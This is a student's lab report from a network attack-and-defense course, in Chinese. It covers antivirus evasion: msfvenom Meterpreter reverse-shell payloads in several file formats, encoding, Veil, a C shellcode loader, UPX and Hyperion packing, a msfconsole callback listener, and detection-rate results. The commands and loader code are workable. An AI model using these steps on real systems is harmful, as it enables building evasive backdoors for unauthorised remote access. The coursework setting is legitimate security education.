20232318 2025-2026-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
- veil,加壳工具
- 使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
2.实验目的
- 掌握免杀原理与技术
-
回答问题
(1)杀软是如何检测出恶意代码的?
-
-
杀软主要通过 3 类核心机制识别恶意代码,覆盖已知和未知威胁。
1. 特征码检测(最基础)
提取恶意代码的唯一 “指纹”(如特定字符串、指令序列),与杀软数据库中的特征库比对,匹配即判定为恶意。适用于已知恶意代码,检测速度快、准确率高。2. 行为分析检测(动态检测)
监控程序运行时的行为,若出现恶意操作(如修改系统关键文件、窃取隐私、自我复制),直接判定威胁。无需依赖特征库,能检测未知恶意代码(零日漏洞利用)。3. 启发式检测(智能预判)
基于预设规则和算法,分析程序的代码结构、逻辑流程,判断其是否 “疑似恶意”(如代码加密异常、规避系统检测)。平衡特征码和行为分析的短板,可提前拦截新型恶意代码。
-
-
(2)免杀是做什么?
- 免杀全称 “免杀毒软件检测”,是通过技术手段修改恶意代码(或正常程序),让杀软无法识别、拦截,最终实现预期功能(如渗透测试、恶意执行)的操作。核心目标是 “绕过杀软检测”,常见于渗透测试、网络安全攻防场景(恶意用途属违法违规行为)。
-
(3)免杀的基本方法有哪些?
-
免杀方法围绕 “规避杀软检测机制” 展开,核心分为 3 类:
1. 特征码免杀(针对特征码检测)
- 对恶意代码进行 “改头换面”,如修改文件名、替换无关代码、重写特征字符串。
- 给代码加壳(加密 / 压缩),隐藏原始特征,杀软解压前无法识别。
2. 行为免杀(针对行为分析检测)
- 模拟正常程序行为,如延迟恶意操作、分段执行关键指令,避免集中触发杀软告警。
- 规避敏感行为,如不直接修改系统文件,通过间接调用系统接口实现功能。
3. 混淆免杀(针对启发式检测)
- 代码混淆:打乱代码结构(如添加无效代码、嵌套多层循环),让杀软无法识别恶意逻辑。
- 指令替换:用功能相同的合法指令替换敏感指令,保持功能不变但规避规则判定
-
3.实验过程与分析
核心工具:选取virustotal工具来进行在线检测评价免杀效果,软件网站为:VirusTotal - Home

3.1:构建免杀效果基准
3.1.1进入终端,输入:ifconfig查看kali的ip地址


访问 VirScan,上传20232318met.exe,记录检出率,检测结果为57/71,VirScan中使用了71个杀毒引擎对文件进行检测,发现其中有57个引擎对此文件判定为恶意软件

3.2:Msfvenom 编码免杀(多格式测试)
3.2.1. EXE 文件编码(单次 / 多次)
单次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.2.129 LPORT=2318 -f exe >met20232318_1.exe
上传文件到 VirScan,记录检出率,发现检测结果与未处理的后门程序相同,说明编码变形无作用

对此进行10 次编码,增强变形,查看是否有效果,输入:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.2.129 LPORT=2318 -f exe > met20232318_2.exe

上传文件到 VirScan,记录检出率,如下图,发现即使进行了增强变形,也无法对于现在最新的检测软件有隐藏作用。

3.2.2 JAR 文件编码
生成基础 JAR 包:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.2.129 LPORT=2318 -f jar > metjar20232318.jar

上传检测,记录检出率,如下图发现有所作用,对于检测的效果发现减少了排查

再次认证,进行多次编码探究增强变形能否效果更好,10 次编码 JAR 包:msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.2.129 LPORT=2318 -f jar > met-encode-jar20232318.jar

上传检测,记录检出率,发现增强变形多次编码没有什么作用
3.2.3 PHP 文件编码
生成基础 PHP 文件:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.129 LPORT=2318 -f php > metphp_20232318.php

上传检测,记录检出率,发现拥有良好的作用。

再次探究10 次编码 PHP 文件,能否拥有更好的作用,输入代码:msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.2.129 LPORT=2318 -f php > met_encoded10_php20232318.php

上传检测,记录检出率,发现检出率更加低,说明增强变形多次编码php文件拥有最好的作用。

3.2.4 APK文件编码
生成apk文件,输入代码 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.129 LPORT=2318 x > 20232318.apk

上传检测,记录检出率,发现对于检测效果弱于php文件

3.3 Veil 工具免杀
Veil 通过模拟正常编译流程生成免杀 EXE,效果优于单纯编码。
3.3.1. 安装 Veil
由于事先没有拓展虚拟机的硬盘内存,导致我后面步骤下载不够完全,后面拓盘时候虚拟机黑屏无法打开,故此我重装了一个硬盘内存设置为50g虚拟机,kaliIP也进行了更改。
更新软件包:sudo apt update

安装 Veil:sudo apt -y install veil

初始化配置,需输入密码,静默安装依赖:sudo /usr/share/veil/config/setup.sh --force --silent(第一个虚拟机在此步安装不够内存,故需删除虚拟机重新创建)

如下图显示安装完成

3.3.2 生成 Veil 免杀 EXE
启动veil,进入躲避模块:
veil
use 1 # 选择Evasion模块


查看载荷,选择 C 语言反向 TCP 载荷:
list # 列出所有载荷
use 7 # 选择c/meterpreter/rev_tcp.py


set LHOST 192.168.2.130
set LPORT 2318
generate # 开始生成
payload20232318 # 输入文件名


生成路径为:/var/lib/veil/output/compiled/payload20232318.exe,将此文件上传至 VirScan进行检测

检测结果发现相对于别的文件来说,效果高于EXE文件但低于JAR文件

3.4:C 语言调用 Shellcode 免杀
通过源码级植入恶意代码,隐藏在正常 C 程序中。
3.4.1. 生成 Shellcode(C 格式)
输入代码:msfvenom -p windows/meterpreter/reverse tcp LHosT=192.168.2.130 LPORT=2318 -f c
运用msfvenom工具将恶意代码嵌入到使用C语言编写的程序中,生成带有恶意代码的文件

3.4.2. 编写 C 程序(添加 main 函数)
用 vi 编辑器打开文件:
vi shellcode_c_20232318.c
在 Shellcode 数组后添加 main 函数:保存退出(按Esc,输入:wq)。
int main(){
int (*func)()=(int(*)())buf;
func();
}
保存退出(按Esc,输入:wq)

3.4.3. 编译为 EXE
输入代码:i686-w64-mingw32-g++ shellcode_c20232318.c -o shellcode_c_20232318.exe,将C文件编译为可执行文件,并且根据所设置的目录找到此文件

将此文件上传检测,可见效果不佳

3.5:加壳技术增强免杀
对 C 语言生成的 EXE 加壳,隐藏静态特征。
3.5.1. UPX 压缩壳
输入代码,生成带有UPX壳的EXE文件
upx shellcode_c20232318.exe -o shellcode_c_upx20232318.exe

上传检测,发现对于普通C语言生成的Shellcode还有更多的检测结果,说明添加UPX压缩壳对于现在的检测软件已经作用不大,已经被标记检测了

3.5.2. Hyperion 加密壳
复制文件到 Hyperion 目录:
cp shellcode_c20232318.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
加密生成新文件:
wine hyperion.exe -v shellcode_c20232318.exe shellcode_c_hyp20232318.exe

上传检测,发现效果更加差,因杀软标记该壳为高风险

3.6:组合工具终极免杀
结合编码、C 编译、UPX 压缩,实现最优免杀
3.6.1 生成 10 次编码的 C 格式 Shellcode:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.2.130 LPORT=2318 -f c > 20232318_shellcode_multi.c

3.6.2 用 vi 添加 main 函数(同3.4.2)


3.6.3 编译为 EXE:i686-w64-mingw32-g++ 20232318_shellcode_multi.c -o 20232318_shellcode_multi.exe

3.6.4 加 UPX 压缩壳:upx 20232318_shellcode_multi.exe -o 20232318_shellcode_multi_2.exe

3.6.5 上传 VirScan 检测:发现效果不错,相较于所有单一方式,组合工具对于检测作用更好

3.6.6 检测免杀效果
将文件20232318_shellcode_multi_2.exe 使用Windows主机上下载的杀毒软件进行扫描,我使用的软件为金山毒霸,发现一开始复制就被进入windows主机便被查杀,说明仍然能够查出其中的潜在威胁


3.7:杀软回连实测
验证免杀程序在真实杀软环境中的有效性。
Kali 端启动监听:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.2.130
set LPORT 2318
exploit

如下图发现刚刚开始进行回连,以Windows主机作为目标主机,以linux作为攻击主机,在windows上启动后门程序时,一开始就被金山毒霸查杀,我将程序添加信任后,如下图2,便可以成功运行


4.问题及解决
问题1:没有对kali虚拟机进行拓展硬盘内存前,进行下载veli,初始化配置静默安装依赖时,发现出现多项error,查询结果发现是由于内存不足导致部分内容无法下载,因此我关机虚拟机,进行硬盘内存直接拓展,从20g拓展至50g后,重新打开kali虚拟机发现一直黑屏无法成功启动
问题1解决方案:重新配置一台虚拟机,在配置时便把硬盘内存调节至50g,以防后续内存不够,重新配置完后再进行下载veli,显示所有内容安装成功,证明是内存不够影响了veli下载。
问题2:在最后一步杀软回连实测时,最初在windows上启动后门程序,发现出现下图结果错误无法成功启动程序。

问题2解决方案:通过网络搜寻知识,发现windows缺少了libgcc_s_dw2-1.dll此文件来编译代码,故此下载一个应用程序拓展,再次点击程序发现成功启动,杀软进行报告。
5.心得体会
-mconsole参数遭遇编译报错,反复检查命令后才发现是编译器默认识别为 GUI 程序,缺少对应入口函数。这个小插曲提醒我:攻防技术的细节容错率极低,任何一个参数的遗漏,都可能导致整个实验流程卡顿。

浙公网安备 33010602011771号